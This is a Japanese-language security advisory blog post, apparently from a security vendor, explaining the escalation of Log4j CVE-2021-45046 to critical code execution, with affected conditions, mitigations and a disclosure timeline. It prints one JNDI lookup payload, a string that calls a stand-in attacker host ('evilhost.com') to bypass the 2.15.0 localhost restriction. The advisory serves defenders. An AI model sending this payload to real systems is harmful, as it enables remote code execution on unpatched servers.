Skip to main content

Log4j 2.15の脆弱性CVE-2021-45046が深刻度「Critical」の任意コード実行に引き上げ

著者

Jason Lane

blog feature log4j vulnerability orange

2021年12月17日

0 分で読めます

編集者注(2021年12月28日午後7時35分 GMT): Log4jチームは新たなセキュリティアップデートをリリースしました。2.17.0に、CVE-2021-44832として識別されたリモートコード実行の脆弱性があることが判明しています。現時点での最新バージョンである2.17.1へのアップグレードを推奨します。詳しくは こちらをご覧ください。

編集者注(2021年12月18日午後6時55分 GMT): Log4jをめぐる状況は急速に変化しており、新しい情報が入り次第、ブログを更新しています。バージョン 2.17.0 以降へのアップグレードを推奨します。このバージョンには、 2.15.0 (CVE-2021-44228)および 2.16.0 (CVE-2021-45046)で修正された2件のリモートコード実行の脆弱性と、2.17.0で修正された最新のDoS脆弱性(CVE-2021-45105)に対するセキュリティ修正が含まれています。詳しくは こちらをご覧ください。

Log4jバージョン2.15.0は、特定の状況下で任意コード実行攻撃を受ける可能性があることが判明しました。アプリケーションを 2.16.0 以降にアップグレードし、 CVE-2021-44228 および CVE-2021-45046から保護してください。

Log4j 2に対して新たに公表された脆弱性(CVE-2021-45046)は、当初CVSSスコア3.7の低深刻度のサービス拒否として公表されましたが、現在は深刻度「High」の任意コード実行の脆弱性に引き上げられ、CVSSスコアは9.0となっています。また、任意コード実行の影響を受けないと考えられていたLog4jバージョン2.15.0も、特定の条件下では悪用可能であることを意味します。

攻撃者は、JNDIルックアップをlocalhostのみに制限するバージョン2.15.0の緩和策を、次の方法で回避できます。${jndi:ldap://127.0.0.1#evilhost.com:1389/a}。

デフォルトでJNDIルックアップを完全に無効化するバージョン2.16.0へのアップデートを推奨します。アップグレードできない場合は、以前のリリースでもクラスパスからJndiLookupクラスを削除することで、この問題を緩和できます(例:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)。

深刻度が引き上げられたこの脆弱性の影響を受けているか確認するには

影響を受けるLog4jパッケージのバージョン(2.0-beta9から2.15.0まで。2.12.2を除く)を実行しており、さらに次の条件のいずれか1つ以上を満たす場合、アプリケーションは脆弱です。

  1. ログ設定でルックアップが明示的に有効になっている(2.15.0より前のバージョンではデフォルトで有効、または手動で%m{lookups}を使用)。formatMsgNoLookupsはバージョン2.15.0以降、デフォルトで有効になっています。

  2. デフォルト以外のPattern LayoutとContext Lookupを使用しており、攻撃者がThread Context Map(MDC)経由で入力データを制御できる。

  3. 攻撃者がuserInput変数を制御できるLogger.printf("%s", userInput)関数を使用している。

重要:上記の条件に該当しないことを確認するには、ソースコードと実行環境の両方を監査する必要があります。これは簡単ではありません。判断に迷う場合は、脆弱性の影響を受ける可能性があるものとして対処してください。

今すぐ行うべきこと

今すぐ対応してください。この問題を緩和するため、直ちにバージョン2.16.0以降にアップグレードしてください。これは、最近公表されたLog4jの脆弱性(CVE-2021-44228およびCVE-2021-45046)の両方に対処できる、現時点で最も安全なバージョンです。

Log4jリソースページでは、最新のブログや動画の一覧と、Log4Shell対策の1ページチートシートをご覧いただけます。

Log4j脆弱性のタイムライン(CVE-2021-44228およびCVE-2021-45046)

  • 2013年7月18日 - JNDIルックアップと脆弱性につながるコードがコミットされる

  • 2021年11月24日 - Alibabaのセキュリティ研究チームがApacheに非公開で脆弱性を報告

  • 11月29日 - Apacheがセキュリティ修正を含む新バージョン(2.15.0)の開発に着手

  • 12月1日 - 初歩的なエクスプロイトの試みが実環境で確認される

  • 12月5日- すべての修正がmasterブランチにマージされる

  • 12月9日- GitHubユーザーが、修正はセキュリティ脆弱性に関連しているのではないかと指摘

  • 12月9日 - ユーザーがgoogle/tsunami-security-scanner-pluginsリポジトリにGitHubの課題を作成し、Log4jのRCE脆弱性を特定

  • 12月9日- ユーザーp0rz9のツイートにより、課題が非公式に流出

  • 12月9日 - PoCがGitHubで公開される

  • 12月10日 - 問題が「公式に」公表され、CVEが付与される(CVEはまだMITREで公開されていない)。修正版2.15.0がリリースされる。

  • 12月10日 - CVEがMITREで更新され、番号(CVE-2021-44228)が付与される

  • 12月10日 - Snyk SCAで深刻度「Critical」に指定(CVE-2021-44228)

  • 12月13日 - バージョン1.xの脆弱性アドバイザリを公開(深刻度「Medium」、CVE-2021-4104)

  • 12月14日 - バージョン2.15に深刻度「Medium」のDoS脆弱性が見つかる(CVE-2021-45046)

  • 12月17日 - CVE-2021-45046の深刻度が「Critical」に引き上げられ、任意コード実行に再分類